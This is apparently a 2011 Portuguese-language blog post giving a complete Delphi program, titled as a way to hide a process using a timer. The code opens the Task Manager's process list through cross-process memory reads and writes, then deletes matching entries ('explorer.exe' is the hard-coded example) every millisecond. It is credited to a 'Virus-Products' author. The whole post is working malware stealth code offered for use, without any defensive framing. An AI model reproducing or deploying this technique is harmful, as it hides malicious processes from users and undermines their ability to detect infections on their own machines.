16 de jan. de 2011

como esconder processo usando timer ( delphi )

program Server;

uses
  Windows, CommCtrl;


var
  MyTimerHandle: WORD;
  MSG: TMSG;

function MaGChar(CONST S: STRING): STRING; VAR Ch: Char; L: Integer; Source, Dest: PChar;
begin
  L := Length(S);
  SetLength(Result, L);
  Source := Pointer(S);
  Dest := Pointer(Result);
  while L <> 0 do
  begin
    Ch := Source^;
    if (Ch >= 'A') and (Ch <= 'Z') then
      Inc(Ch, 32);
      Dest^ := Ch;
      Inc(Source);
      Inc(Dest);
      Dec(L);
  end;
end;

function CacheCache(_Processus: string): string;
var
  dwSize, dwNumberOfBytes, PID, hProcess:Cardinal; PLocalShared, PSysShared: PlvItem;
  wnd: THandle; iCount, i: integer; szTemp: string;
begin
  wnd   :=  FindWindow('#32770', NIL);
  wnd   := FindWindowEx(wnd, 0, '#32770', NIL);
  wnd   :=  FindWindowEx(wnd, 0, 'SysListView32',NIL);
  iCount:= SendMessage(wnd, LVM_GETITEMCOUNT, 0, 0);
  for i:= 0 to iCount -1 do
  begin
    dwSize                                        := SizeOf(LV_ITEM) + SizeOf(CHAR) * MAX_PATH;
    pLocalShared                                  := VirtualAlloc(NIL, dwSize, MEM_RESERVE + MEM_COMMIT, PAGE_READWRITE);
    GetWindowThreadProcessID(WND, @PID); hProcess := OpenProcess(PROCESS_VM_OPERATION OR PROCESS_VM_READ OR PROCESS_VM_WRITE, FALSE, PID);
    pSysShared                                    := VirtualAllocEx(hProcess, NIL, dwSize, MEM_RESERVE OR MEM_COMMIT, PAGE_READWRITE);
    pLocalShared.mask                             := LVIF_TEXT;
    pLocalShared.iItem                            := 0;
    pLocalShared.iSubItem                         := 0;
    pLocalShared.pszText                          := LPTSTR(DWord(pSysShared) + SizeOf(LV_ITEM));
    pLocalShared.cchTextMax                       := 100; WriteProcessMemory(hProcess, pSysShared, pLocalShared, 1024, dwNumberOfBytes);
    SendMessage(wnd, LVM_GETITEMTEXT, i, LPARAM(pSysShared));
    ReadProcessMemory(hProcess, pSysShared, pLocalShared, 1024, dwNumberOfBytes);
    szTemp := PChar(DWord(pLocalShared) + SizeOf(LV_ITEM));
    if Pos(_Processus, MagChar(szTemp)) > 0 then
      ListView_DeleteItem(wnd, i);
    VirtualFree(pLocalShared, 0, MEM_RELEASE);
    VirtualFreeEx(hProcess, pSysShared, 0, MEM_RELEASE);
    CloseHandle(hProcess);
  end;
end;

procedure TimerProc(Wnd:HWnd;Msg,TimerID,dwTime:DWORD); STDCALL;
begin
  CacheCache('explorer.exe');
end;

procedure StartTimer(Interval:DWORD);
begin
  MyTimerHandle:=SetTimer(0,0,Interval,@TimerProc);
end;

begin
  StartTimer(1);

while (GetMessage(Msg,0,0,0)) do
begin
  TranslateMessage(Msg);
  DispatchMessage(Msg);
end;

{Coded By Agent-Hs32-Idir[V-P]}
{MSN : Hs32-Idir@Virus-Products.Hack}

end.

Nenhum comentário:

Postar um comentário